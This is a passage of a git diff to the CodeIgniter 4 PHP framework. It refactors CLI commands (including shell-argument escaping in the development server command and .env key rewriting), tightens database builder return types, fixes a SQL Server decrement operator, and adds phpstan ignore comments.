$this->removeDBPrefix(); - foreach ($tables as $id => $tableName) { + foreach ($tables as $id => $tableName) { $table = $this->db->protectIdentifiers($tableName); $db = $this->db->query("SELECT * FROM {$table}"); diff --git a/system/Commands/Encryption/GenerateKey.php b/system/Commands/Encryption/GenerateKey.php index b34b422f7bfe..3726360fa8ad 100644 --- a/system/Commands/Encryption/GenerateKey.php +++ b/system/Commands/Encryption/GenerateKey.php @@ -102,7 +102,7 @@ public function run(array $params) // force DotEnv to reload the new env vars putenv('encryption.key'); unset($_ENV['encryption.key'], $_SERVER['encryption.key']); - $dotenv = new DotEnv((new Paths())->envDirectory ?? ROOTPATH); + $dotenv = new DotEnv((new Paths())->envDirectory ?? ROOTPATH); // @phpstan-ignore nullCoalesce.property $dotenv->load(); CLI::write('Application\'s new encryption key was successfully set.', 'green'); @@ -156,7 +156,7 @@ protected function confirmOverwrite(array $params): bool protected function writeNewEncryptionKeyToFile(string $oldKey, string $newKey): bool { $baseEnv = ROOTPATH . 'env'; - $envFile = ((new Paths())->envDirectory ?? ROOTPATH) . '.env'; + $envFile = ((new Paths())->envDirectory ?? ROOTPATH) . '.env'; // @phpstan-ignore nullCoalesce.property if (! is_file($envFile)) { if (! is_file($baseEnv)) { @@ -171,36 +171,41 @@ protected function writeNewEncryptionKeyToFile(string $oldKey, string $newKey): } $oldFileContents = (string) file_get_contents($envFile); - $replacementKey = "\nencryption.key = {$newKey}"; - if (! str_contains($oldFileContents, 'encryption.key')) { - return file_put_contents($envFile, $replacementKey, FILE_APPEND) !== false; + // Match an active setting line, preserving any leading whitespace and `export` prefix. + $activePattern = $this->keyPattern($oldKey); + + if (preg_match($activePattern, $oldFileContents) === 1) { + $newFileContents = (string) preg_replace($activePattern, '$1' . $newKey, $oldFileContents, 1); + + return file_put_contents($envFile, $newFileContents) !== false; } - $newFileContents = preg_replace($this->keyPattern($oldKey), $replacementKey, $oldFileContents); + // Match a commented-out setting line (e.g., from the shipped `env` template) and + // uncomment it. The optional `export` prefix is dropped on uncomment for predictability. + $commentedPattern = '/^\h*#\h*(?:export\h+)?encryption\.key\h*=\h*[^\r\n]*$/m'; - if ($newFileContents === $oldFileContents) { - $newFileContents = preg_replace( - '/^[#\s]*encryption.key[=\s]*(?:hex2bin\:[a-f0-9]{64}|base64\:(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?)$/m', - $replacementKey, - $oldFileContents, - ); + if (preg_match($commentedPattern, $oldFileContents) === 1) { + $newFileContents = (string) preg_replace($commentedPattern, "encryption.key = {$newKey}", $oldFileContents, 1); + + return file_put_contents($envFile, $newFileContents) !== false; } - return file_put_contents($envFile, $newFileContents) !== false; + // No setting present (active or commented); append. + return file_put_contents($envFile, "\nencryption.key = {$newKey}", FILE_APPEND) !== false; } /** - * Get the regex of the current encryption key. + * Returns the regex used to locate an active `encryption.key = ...` setting in the `.env` + * contents. The single capture group spans everything up to (and including) the `=` and any + * separating whitespace, so a `preg_replace` substitution preserves an optional `export` + * prefix while rewriting only the value. + * + * The `$oldKey` parameter is retained for backward compatibility with subclasses that + * override this method; it is no longer consulted because the pattern matches any value. */ protected function keyPattern(string $oldKey): string { - $escaped = preg_quote($oldKey, '/'); - - if ($escaped !== '') { - $escaped = "[{$escaped}]*"; - } - - return "/^[#\\s]*encryption.key[=\\s]*{$escaped}$/m"; + return '/^(\h*(?:export\h+)?encryption\.key\h*=\h*)[^\r\n]*$/m'; } } diff --git a/system/Commands/Housekeeping/ClearDebugbar.php b/system/Commands/Housekeeping/ClearDebugbar.php index dd49b24a7656..281a2c865d6b 100644 --- a/system/Commands/Housekeeping/ClearDebugbar.php +++ b/system/Commands/Housekeeping/ClearDebugbar.php @@ -58,15 +58,13 @@ public function run(array $params) helper('filesystem'); if (! delete_files(WRITEPATH . 'debugbar', false, true)) { - // @codeCoverageIgnoreStart CLI::error('Error deleting the debugbar JSON files.'); - CLI::newLine(); - return; - // @codeCoverageIgnoreEnd + return EXIT_ERROR; } CLI::write('Debugbar cleared.', 'green'); - CLI::newLine(); + + return EXIT_SUCCESS; } } diff --git a/system/Commands/Housekeeping/ClearLogs.php b/system/Commands/Housekeeping/ClearLogs.php index ec4b700e07f3..e416a383cc48 100644 --- a/system/Commands/Housekeeping/ClearLogs.php +++ b/system/Commands/Housekeeping/ClearLogs.php @@ -67,27 +67,24 @@ public function run(array $params) $force = array_key_exists('force', $params) || CLI::getOption('force'); if (! $force && CLI::prompt('Are you sure you want to delete the logs?', ['n', 'y']) === 'n') { - // @codeCoverageIgnoreStart - CLI::error('Deleting logs aborted.', 'light_gray', 'red'); - CLI::error('If you want, use the "-force" option to force delete all log files.', 'light_gray', 'red'); - CLI::newLine(); + CLI::error('Deleting logs aborted.'); - return; - // @codeCoverageIgnoreEnd + // @todo to re-add under non-interactive mode + // CLI::error('If you want, use the "--force" option to force delete all log files.'); + + return EXIT_ERROR; } helper('filesystem'); if (! delete_files(WRITEPATH . 'logs', false, true)) { - // @codeCoverageIgnoreStart - CLI::error('Error in deleting the logs files.', 'light_gray', 'red'); - CLI::newLine(); + CLI::error('Error in deleting the logs files.'); - return; - // @codeCoverageIgnoreEnd + return EXIT_ERROR; } CLI::write('Logs cleared.', 'green'); - CLI::newLine(); + + return EXIT_SUCCESS; } } diff --git a/system/Commands/Server/Serve.php b/system/Commands/Server/Serve.php index 594e4e587e27..bbc06b665e62 100644 --- a/system/Commands/Server/Serve.php +++ b/system/Commands/Server/Serve.php @@ -17,11 +17,7 @@ use CodeIgniter\CLI\CLI; /** - * Launch the PHP development server - * - * Not testable, as it throws phpunit for a loop :-/ - * - * @codeCoverageIgnore + * Launch the PHP development server. */ class Serve extends BaseCommand { @@ -86,29 +82,23 @@ class Serve extends BaseCommand ]; /** - * Run the server + * Run the server. + * + * @codeCoverageIgnore */ public function run(array $params) { - // Collect any user-supplied options and apply them. - $php = escapeshellarg(CLI::getOption('php') ?? PHP_BINARY); + $php = CLI::getOption('php') ?? PHP_BINARY; $host = CLI::getOption('host') ?? 'localhost'; $port = (int) (CLI::getOption('port') ?? 8080) + $this->portOffset; - // Get the party started. CLI::write('CodeIgniter development server started on http://' . $host . ':' . $port, 'green'); CLI::write('Press Control-C to stop.'); - // Set the Front Controller path as Document Root. - $docroot = escapeshellarg(FCPATH); - - // Mimic Apache's mod_rewrite functionality with user settings. - $rewrite = escapeshellarg(SYSTEMPATH . 'rewrite.php'); - - // Call PHP's built-in webserver, making sure to set our - // base path to the public folder, and to use the rewrite file - // to ensure our environment is set and it simulates basic mod_rewrite. - passthru($php . ' -S ' . $host . ':' . $port . ' -t ' . $docroot . ' ' . $rewrite, $status); + passthru( + $this->buildServeCommand($php, $host, $port, FCPATH, SYSTEMPATH . 'rewrite.php'), + $status, + ); if ($status !== EXIT_SUCCESS && $this->portOffset < $this->tries) { $this->portOffset++; @@ -116,4 +106,19 @@ public function run(array $params) $this->run($params); } } + + /** + * Builds the shell command passed to PHP's built-in webserver, escaping + * every user-influenced argument so it cannot be interpreted by /bin/sh. + */ + protected function buildServeCommand(string $php, string $host, int $port, string $docroot, string $rewrite): string + { + return sprintf( + '%s -S %s -t %s %s', + escapeshellarg($php), + escapeshellarg($host . ':' . $port), + escapeshellarg($docroot), + escapeshellarg($rewrite), + ); + } } diff --git a/system/Commands/Translation/LocalizationSync.php b/system/Commands/Translation/LocalizationSync.php index 6381ab33ccad..f54df45c364c 100644 --- a/system/Commands/Translation/LocalizationSync.php +++ b/system/Commands/Translation/LocalizationSync.php @@ -131,9 +131,7 @@ private function process(string $originalLocale, string $targetLocale): int ), ); - /** - * @var array $files - */ + /** @var array $files */ $files = iterator_to_array($iterator, true); ksort($files); diff --git a/system/Commands/Utilities/Environment.php b/system/Commands/Utilities/Environment.php index 5ab4c98bde84..778e1833becb 100644 --- a/system/Commands/Utilities/Environment.php +++ b/system/Commands/Utilities/Environment.php @@ -85,7 +85,7 @@ final class Environment extends BaseCommand */ public function run(array $params) { - if ($params === []) { + if (! isset($params[0])) { CLI::write(sprintf('Your environment is currently set as %s.', CLI::color(service('superglobals')->server('CI_ENVIRONMENT', ENVIRONMENT), 'green'))); CLI::newLine(); @@ -121,7 +121,7 @@ public function run(array $params) putenv('CI_ENVIRONMENT'); unset($_ENV['CI_ENVIRONMENT']); service('superglobals')->unsetServer('CI_ENVIRONMENT'); - (new DotEnv((new Paths())->envDirectory ?? ROOTPATH))->load(); + (new DotEnv((new Paths())->envDirectory ?? ROOTPATH))->load(); // @phpstan-ignore nullCoalesce.property CLI::write(sprintf('Environment is successfully changed to "%s".', $env), 'green'); CLI::write('The ENVIRONMENT constant will be changed in the next script execution.'); @@ -136,7 +136,7 @@ public function run(array $params) private function writeNewEnvironmentToEnvFile(string $newEnv): bool { $baseEnv = ROOTPATH . 'env'; - $envFile = ((new Paths())->envDirectory ?? ROOTPATH) . '.env'; + $envFile = ((new Paths())->envDirectory ?? ROOTPATH) . '.env'; // @phpstan-ignore nullCoalesce.property if (! is_file($envFile)) { if (! is_file($baseEnv)) { diff --git a/system/Commands/Utilities/Routes.php b/system/Commands/Utilities/Routes.php index 4f51c3c29437..a42ff0197525 100644 --- a/system/Commands/Utilities/Routes.php +++ b/system/Commands/Utilities/Routes.php @@ -73,8 +73,8 @@ class Routes extends BaseCommand * @var array */ protected $options = [ - '-h' => 'Sort by Handler.', - '--host' => 'Specify hostname in request URI.', + '--sort-by-handler' => 'Sort by handler.', + '--host' => 'Specify hostname in request URI.', ]; /** @@ -82,8 +82,18 @@ class Routes extends BaseCommand */ public function run(array $params) { - $sortByHandler = array_key_exists('h', $params); - $host = $params['host'] ?? null; + $sortByHandler = array_key_exists('sort-by-handler', $params); + + if (! $sortByHandler && array_key_exists('h', $params)) { + // @todo to remove support in v4.8.0 + // Support -h as a shortcut but print a warning that it is not the intended use of -h. + CLI::write('Warning: -h will be used as shortcut for --help in v4.8.0. Please use --sort-by-handler to sort by handler.', 'yellow'); + CLI::newLine(); + + $sortByHandler = true; + } + + $host = $params['host'] ?? null; // Set HTTP_HOST if ($host !== null) { @@ -122,7 +132,7 @@ public function run(array $params) } if ($collection->shouldAutoRoute()) { - $autoRoutesImproved = config(Feature::class)->autoRoutesImproved ?? false; + $autoRoutesImproved = config(Feature::class)->autoRoutesImproved; if ($autoRoutesImproved) { $autoRouteCollector = new AutoRouteCollectorImproved( diff --git a/system/Commands/Utilities/Routes/FilterFinder.php b/system/Commands/Utilities/Routes/FilterFinder.php index 849a1cdb59c9..98a1e3659eaf 100644 --- a/system/Commands/Utilities/Routes/FilterFinder.php +++ b/system/Commands/Utilities/Routes/FilterFinder.php @@ -56,7 +56,7 @@ public function find(string $uri): array // Add route filters $routeFilters = $this->getRouteFilters($uri); $this->filters->enableFilters($routeFilters, 'before'); - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if (! $oldFilterOrder) { $routeFilters = array_reverse($routeFilters); } @@ -91,7 +91,7 @@ public function findClasses(string $uri): array // Add route filters $routeFilters = $this->getRouteFilters($uri); $this->filters->enableFilters($routeFilters, 'before'); - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if (! $oldFilterOrder) { $routeFilters = array_reverse($routeFilters); } diff --git a/system/Commands/Worker/Views/frankenphp-worker.php.tpl b/system/Commands/Worker/Views/frankenphp-worker.php.tpl index 067d9d33dc1f..801bf796f343 100644 --- a/system/Commands/Worker/Views/frankenphp-worker.php.tpl +++ b/system/Commands/Worker/Views/frankenphp-worker.php.tpl @@ -36,7 +36,9 @@ if (version_compare(PHP_VERSION, $minPhpVersion, '<')) { *--------------------------------------------------------------- */ -define('FCPATH', __DIR__ . DIRECTORY_SEPARATOR); +if (! defined('FCPATH')) { + define('FCPATH', __DIR__ . DIRECTORY_SEPARATOR); +} if (getcwd() . DIRECTORY_SEPARATOR !== FCPATH) { chdir(FCPATH); @@ -49,11 +51,11 @@ if (getcwd() . DIRECTORY_SEPARATOR !== FCPATH) { */ // This is the line that might need to be changed, depending on your folder structure. -require FCPATH . '../app/Config/Paths.php'; +require_once FCPATH . '../app/Config/Paths.php'; // ^^^ Change this line if you move your application folder $paths = new Paths(); -require $paths->systemDirectory . '/Boot.php'; +require_once $paths->systemDirectory . '/Boot.php'; // One-time boot - loads autoloader, environment, helpers, etc. $app = Boot::bootWorker($paths); diff --git a/system/Common.php b/system/Common.php index bcf2a5c14db9..ea0c476423a0 100644 --- a/system/Common.php +++ b/system/Common.php @@ -185,10 +185,14 @@ function command(string $command) $params[$arg] = $value; } - ob_start(); - service('commands')->run($command, $params); + try { + ob_start(); + service('commands')->run($command, $params); - return ob_get_clean(); + return ob_get_contents(); + } finally { + ob_end_clean(); + } } } diff --git a/system/Config/Services.php b/system/Config/Services.php index 3878911c8cbf..cef65a8895a9 100644 --- a/system/Config/Services.php +++ b/system/Config/Services.php @@ -698,7 +698,6 @@ public static function session(?SessionConfig $config = null, bool $getShared = )); } - /** @var SessionBaseHandler $driver */ $driver = new $driverName($config, AppServices::get('request')->getIPAddress()); $driver->setLogger($logger); diff --git a/system/Config/View.php b/system/Config/View.php index 038c6fa774dc..fcfe32f40f1c 100644 --- a/system/Config/View.php +++ b/system/Config/View.php @@ -16,16 +16,12 @@ use CodeIgniter\View\ViewDecoratorInterface; /** - * View configuration - * - * @phpstan-type parser_callable (callable(mixed): mixed) - * @phpstan-type parser_callable_string (callable(mixed): mixed)&string + * View configuration. */ class View extends BaseConfig { /** - * When false, the view method will clear the data between each - * call. + * When false, the view method will clear the data between each call. * * @var bool */ @@ -41,8 +37,7 @@ class View extends BaseConfig * * @psalm-suppress UndefinedDocblockClass * - * @var array - * @phpstan-var array + * @var array */ public $filters = []; @@ -53,18 +48,14 @@ class View extends BaseConfig * * @psalm-suppress UndefinedDocblockClass * - * @var array|string> - * @phpstan-var array|parser_callable_string|parser_callable> + * @var array> */ public $plugins = []; /** * Built-in View filters. * - * @psalm-suppress UndefinedDocblockClass - * - * @var array - * @phpstan-var array + * @var array */ protected $coreFilters = [ 'abs' => '\abs', @@ -93,10 +84,7 @@ class View extends BaseConfig /** * Built-in View plugins. * - * @psalm-suppress UndefinedDocblockClass - * - * @var array|string> - * @phpstan-var array|parser_callable_string|parser_callable> + * @var array> */ protected $corePlugins = [ 'csp_script_nonce' => '\CodeIgniter\View\Plugins::cspScriptNonce', diff --git a/system/Cookie/CookieStore.php b/system/Cookie/CookieStore.php index 6d5caa2aa5e0..c4b2994d9cf3 100644 --- a/system/Cookie/CookieStore.php +++ b/system/Cookie/CookieStore.php @@ -45,9 +45,7 @@ class CookieStore implements Countable, IteratorAggregate */ public static function fromCookieHeaders(array $headers, bool $raw = false) { - /** - * @var list $cookies - */ + /** @var list $cookies */ $cookies = array_filter(array_map(static function (string $header) use ($raw) { try { return Cookie::fromHeaderString($header, $raw); diff --git a/system/DataCaster/Cast/DatetimeCast.php b/system/DataCaster/Cast/DatetimeCast.php index b5f346c9c419..398fdc7beed7 100644 --- a/system/DataCaster/Cast/DatetimeCast.php +++ b/system/DataCaster/Cast/DatetimeCast.php @@ -40,9 +40,7 @@ public static function get( throw new InvalidArgumentException($message); } - /** - * @see https://www.php.net/manual/en/datetimeimmutable.createfromformat.php#datetimeimmutable.createfromformat.parameters - */ + /** @see https://www.php.net/manual/en/datetimeimmutable.createfromformat.php#datetimeimmutable.createfromformat.parameters */ $format = self::getDateTimeFormat($params, $helper); return Time::createFromFormat($format, $value); diff --git a/system/Database/BaseBuilder.php b/system/Database/BaseBuilder.php index f38d52dc9750..d891b3d61954 100644 --- a/system/Database/BaseBuilder.php +++ b/system/Database/BaseBuilder.php @@ -310,9 +310,7 @@ public function __construct($tableName, ConnectionInterface $db, ?array $options throw new DatabaseException('A table must be specified when creating a new Query Builder.'); } - /** - * @var BaseConnection $db - */ + /** @var BaseConnection $db */ $this->db = $db; if ($tableName instanceof TableName) { @@ -1513,7 +1511,7 @@ public function orderBy(string $orderBy, string $direction = '', ?bool $escape = */ public function limit(?int $value = null, ?int $offset = 0) { - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll && $value === 0) { $value = null; } @@ -1635,7 +1633,7 @@ protected function compileFinalQuery(string $sql): string */ public function get(?int $limit = null, int $offset = 0, bool $reset = true) { - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll && $limit === 0) { $limit = null; } @@ -1773,7 +1771,7 @@ public function getWhere($where = null, ?int $limit = null, ?int $offset = 0, bo $this->where($where); } - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll && $limit === 0) { $limit = null; } @@ -2500,7 +2498,7 @@ public function update($set = null, $where = null, ?int $limit = null): bool $this->where($where); } - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll && $limit === 0) { $limit = null; } @@ -2547,7 +2545,7 @@ protected function _update(string $table, array $values): string $valStr[] = $key . ' = ' . $val; } - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll) { return 'UPDATE ' . $this->compileIgnore('update') . $table . ' SET ' . implode(', ', $valStr) . $this->compileWhereHaving('QBWhere') @@ -2824,7 +2822,7 @@ public function delete($where = '', ?int $limit = null, bool $resetData = true) $sql = $this->_delete($this->removeAlias($table)); - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll && $limit === 0) { $limit = null; } @@ -3099,7 +3097,7 @@ protected function compileSelect($selectOverride = false): string . $this->compileWhereHaving('QBHaving') . $this->compileOrderBy(); - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll) { if ($this->QBLimit) { $sql = $this->_limit($sql . "\n"); diff --git a/system/Database/BaseConnection.php b/system/Database/BaseConnection.php index bd2cb62053dd..273e4c60c4d5 100644 --- a/system/Database/BaseConnection.php +++ b/system/Database/BaseConnection.php @@ -795,9 +795,7 @@ public function query(string $sql, $binds = null, bool $setEscapeFlags = true, s $this->initialize(); } - /** - * @var Query $query - */ + /** @var Query $query */ $query = new $queryClass($this); $query->setQuery($sql, $binds, $setEscapeFlags); @@ -1686,9 +1684,11 @@ protected function getDriverFunctionPrefix(): string public function listTables(bool $constrainByPrefix = false) { if (isset($this->dataCache['table_names']) && $this->dataCache['table_names']) { - return $constrainByPrefix + $tables = $constrainByPrefix ? preg_grep("/^{$this->DBPrefix}/", $this->dataCache['table_names']) : $this->dataCache['table_names']; + + return array_values($tables); } $sql = $this->_listTables($constrainByPrefix); diff --git a/system/Database/BasePreparedQuery.php b/system/Database/BasePreparedQuery.php index f2ee6b3ed6a4..540e9c15161c 100644 --- a/system/Database/BasePreparedQuery.php +++ b/system/Database/BasePreparedQuery.php @@ -192,7 +192,7 @@ abstract public function _execute(array $data): bool; /** * Returns the result object for the prepared query. * - * @return object|resource|null + * @return false|object|resource|null */ abstract public function _getResult(); diff --git a/system/Database/ConnectionInterface.php b/system/Database/ConnectionInterface.php index 3c43b173fc4e..97c8fa0bbcba 100644 --- a/system/Database/ConnectionInterface.php +++ b/system/Database/ConnectionInterface.php @@ -78,7 +78,7 @@ public function getDatabase(): string; * Must return this format: ['code' => string|int, 'message' => string] * intval(code) === 0 means "no error". * - * @return array + * @return array{code: int|string|null, message: string|null} */ public function error(): array; diff --git a/system/Database/MigrationRunner.php b/system/Database/MigrationRunner.php index 2a66a9cb512c..df5ee049f0b7 100644 --- a/system/Database/MigrationRunner.php +++ b/system/Database/MigrationRunner.php @@ -145,9 +145,9 @@ class MigrationRunner */ public function __construct(MigrationsConfig $config, $db = null) { - $this->enabled = $config->enabled ?? false; - $this->table = $config->table ?? 'migrations'; - $this->lock = $config->lock ?? false; + $this->enabled = $config->enabled; + $this->table = $config->table; + $this->lock = $config->lock ?? false; // @phpstan-ignore nullCoalesce.property // Even if a DB connection is passed, since it is a test, // it is assumed to use the default group name diff --git a/system/Database/MySQLi/Connection.php b/system/Database/MySQLi/Connection.php index b38ef3349eaa..116acb7eaf9e 100644 --- a/system/Database/MySQLi/Connection.php +++ b/system/Database/MySQLi/Connection.php @@ -573,7 +573,7 @@ protected function _enableForeignKeyChecks() * Must return this format: ['code' => string|int, 'message' => string] * intval(code) === 0 means "no error". * - * @return array + * @return array{code: int|string|null, message: string|null} */ public function error(): array { diff --git a/system/Database/OCI8/Builder.php b/system/Database/OCI8/Builder.php index 2e62b3121cbd..0bbf4283d056 100644 --- a/system/Database/OCI8/Builder.php +++ b/system/Database/OCI8/Builder.php @@ -152,7 +152,7 @@ protected function _truncate(string $table): string * * @param mixed $where * - * @return mixed + * @return bool|string * * @throws DatabaseException */ diff --git a/system/Database/Postgre/Builder.php b/system/Database/Postgre/Builder.php index 126ab5741892..502a5278482f 100644 --- a/system/Database/Postgre/Builder.php +++ b/system/Database/Postgre/Builder.php @@ -14,7 +14,9 @@ namespace CodeIgniter\Database\Postgre; use CodeIgniter\Database\BaseBuilder; +use CodeIgniter\Database\BaseResult; use CodeIgniter\Database\Exceptions\DatabaseException; +use CodeIgniter\Database\Query; use CodeIgniter\Database\RawSql; use CodeIgniter\Exceptions\InvalidArgumentException; @@ -64,7 +66,7 @@ protected function compileIgnore(string $statement) * * @param string $direction ASC, DESC or RANDOM * - * @return BaseBuilder + * @return $this */ public function orderBy(string $orderBy, string $direction = '', ?bool $escape = null) { @@ -89,7 +91,7 @@ public function orderBy(string $orderBy, string $direction = '', ?bool $escape = /** * Increments a numeric column by the specified value. * - * @return mixed + * @return bool * * @throws DatabaseException */ @@ -97,7 +99,7 @@ public function increment(string $column, int $value = 1) { $column = $this->db->protectIdentifiers($column); - $sql = $this->_update($this->QBFrom[0], [$column => "to_number({$column}, '9999999') + {$value}"]); + $sql = $this->_update($this->QBFrom[0], [$column => "CAST({$column} AS numeric) + {$value}"]); if (! $this->testMode) { $this->resetWrite(); @@ -111,7 +113,7 @@ public function increment(string $column, int $value = 1) /** * Decrements a numeric column by the specified value. * - * @return mixed + * @return bool * * @throws DatabaseException */ @@ -119,7 +121,7 @@ public function decrement(string $column, int $value = 1) { $column = $this->db->protectIdentifiers($column); - $sql = $this->_update($this->QBFrom[0], [$column => "to_number({$column}, '9999999') - {$value}"]); + $sql = $this->_update($this->QBFrom[0], [$column => "CAST({$column} AS numeric) - {$value}"]); if (! $this->testMode) { $this->resetWrite(); @@ -138,7 +140,7 @@ public function decrement(string $column, int $value = 1) * * @param array|null $set An associative array of insert values * - * @return mixed + * @return BaseResult|false|Query|string * * @throws DatabaseException */ @@ -225,7 +227,7 @@ protected function _insertBatch(string $table, array $keys, array $values): stri * * @param mixed $where * - * @return mixed + * @return bool|string * * @throws DatabaseException */ @@ -303,7 +305,7 @@ protected function _like_statement(?string $prefix, string $column, ?string $not * * @param RawSql|string $cond * - * @return BaseBuilder + * @return $this */ public function join(string $table, $cond, string $type = '', ?bool $escape = null) { diff --git a/system/Database/Postgre/Connection.php b/system/Database/Postgre/Connection.php index 295616ab035d..37c1d678fcc0 100644 --- a/system/Database/Postgre/Connection.php +++ b/system/Database/Postgre/Connection.php @@ -469,7 +469,7 @@ protected function _enableForeignKeyChecks() * Must return this format: ['code' => string|int, 'message' => string] * intval(code) === 0 means "no error". * - * @return array + * @return array{code: int|string|null, message: string|null} */ public function error(): array { diff --git a/system/Database/SQLSRV/Builder.php b/system/Database/SQLSRV/Builder.php index 3c3e798c3e18..67f2f26c33f9 100644 --- a/system/Database/SQLSRV/Builder.php +++ b/system/Database/SQLSRV/Builder.php @@ -14,8 +14,10 @@ namespace CodeIgniter\Database\SQLSRV; use CodeIgniter\Database\BaseBuilder; +use CodeIgniter\Database\BaseResult; use CodeIgniter\Database\Exceptions\DatabaseException; use CodeIgniter\Database\Exceptions\DataException; +use CodeIgniter\Database\Query; use CodeIgniter\Database\RawSql; use CodeIgniter\Database\ResultInterface; use Config\Feature; @@ -269,7 +271,7 @@ public function decrement(string $column, int $value = 1) if ($this->castTextToInt) { $values = [$column => "CONVERT(VARCHAR(MAX),CONVERT(INT,CONVERT(VARCHAR(MAX), {$column})) - {$value})"]; } else { - $values = [$column => "{$column} + {$value}"]; + $values = [$column => "{$column} - {$value}"]; } $sql = $this->_update($this->QBFrom[0], $values); @@ -337,7 +339,7 @@ protected function _limit(string $sql, bool $offsetIgnore = false): string // DatabaseException: // [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]The number of // rows provided for a FETCH clause must be greater then zero. - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if (! $limitZeroAsAll && $this->QBLimit === 0) { return "SELECT * \nFROM " . $this->_fromTables() . ' WHERE 1=0 '; } @@ -358,7 +360,7 @@ protected function _limit(string $sql, bool $offsetIgnore = false): string /** * Compiles a replace into string and runs the query * - * @return mixed + * @return BaseResult|false|Query|string * * @throws DatabaseException */ @@ -462,7 +464,7 @@ protected function _replace(string $table, array $keys, array $values): string * * Handle float return value * - * @return BaseBuilder + * @return $this */ protected function maxMinAvgSum(string $select = '', string $alias = '', string $type = 'MAX') { @@ -538,7 +540,7 @@ protected function _delete(string $table): string * * @param mixed $where * - * @return mixed + * @return bool|string * * @throws DatabaseException */ @@ -624,7 +626,7 @@ protected function compileSelect($selectOverride = false): string . $this->compileOrderBy(); // ORDER BY // LIMIT - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll) { if ($this->QBLimit) { $sql = $this->_limit($sql . "\n"); @@ -644,7 +646,7 @@ protected function compileSelect($selectOverride = false): string */ public function get(?int $limit = null, int $offset = 0, bool $reset = true) { - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll && $limit === 0) { $limit = null; } diff --git a/system/Database/SQLSRV/Connection.php b/system/Database/SQLSRV/Connection.php index 76dd80bdb09f..970c582f60ed 100644 --- a/system/Database/SQLSRV/Connection.php +++ b/system/Database/SQLSRV/Connection.php @@ -441,7 +441,7 @@ protected function _transRollback(): bool * Must return this format: ['code' => string|int, 'message' => string] * intval(code) === 0 means "no error". * - * @return array + * @return array{code: int|string|null, message: string|null} */ public function error(): array { diff --git a/system/Database/SQLite3/Connection.php b/system/Database/SQLite3/Connection.php index 4495e68c4418..268ceaa7bea2 100644 --- a/system/Database/SQLite3/Connection.php +++ b/system/Database/SQLite3/Connection.php @@ -428,7 +428,7 @@ protected function _enableForeignKeyChecks() * Must return this format: ['code' => string|int, 'message' => string] * intval(code) === 0 means "no error". * - * @return array + * @return array{code: int|string|null, message: string|null} */ public function error(): array { diff --git a/system/Database/Seeder.php b/system/Database/Seeder.php index 632008176031..edbf3251cbf3 100644 --- a/system/Database/Seeder.php +++ b/system/Database/Seeder.php @@ -78,7 +78,7 @@ class Seeder */ public function __construct(Database $config, ?BaseConnection $db = null) { - $this->seedPath = $config->filesPath ?? APPPATH . 'Database/'; + $this->seedPath = $config->filesPath; if ($this->seedPath === '') { throw new InvalidArgumentException('Invalid filesPath set in the Config\Database.'); diff --git a/system/Debug/Toolbar.php b/system/Debug/Toolbar.php index c35003129764..fdd0b0f3f54c 100644 --- a/system/Debug/Toolbar.php +++ b/system/Debug/Toolbar.php @@ -336,7 +336,7 @@ protected function structureTimelineData(array $elements): array */ protected function collectVarData(): array { - if (! ($this->config->collectVarData ?? true)) { + if (! $this->config->collectVarData) { return []; } @@ -368,9 +368,7 @@ protected function roundTo(float $number, int $increments = 5): float */ public function prepare(?RequestInterface $request = null, ?ResponseInterface $response = null): void { - /** - * @var IncomingRequest|null $request - */ + /** @var IncomingRequest|null $request */ if (CI_DEBUG && ! is_cli()) { if ($this->hasNativeHeaderConflict()) { return; @@ -585,7 +583,7 @@ protected function hasNativeHeaderConflict(): bool private function shouldDisableToolbar(IncomingRequest $request): bool { // Fallback for older installations where the config option is missing (e.g. after upgrading from a previous version). - $headers = $this->config->disableOnHeaders ?? ['X-Requested-With' => 'xmlhttprequest']; + $headers = $this->config->disableOnHeaders ?? ['X-Requested-With' => 'xmlhttprequest']; // @phpstan-ignore nullCoalesce.property foreach ($headers as $headerName => $expectedValue) { if (! $request->hasHeader($headerName)) { diff --git a/system/Debug/Toolbar/Collectors/Logs.php b/system/Debug/Toolbar/Collectors/Logs.php index f9fdabecbff1..92562e81e629 100644 --- a/system/Debug/Toolbar/Collectors/Logs.php +++ b/system/Debug/Toolbar/Collectors/Logs.php @@ -92,9 +92,13 @@ protected function collectLogs() return $this->data; } - 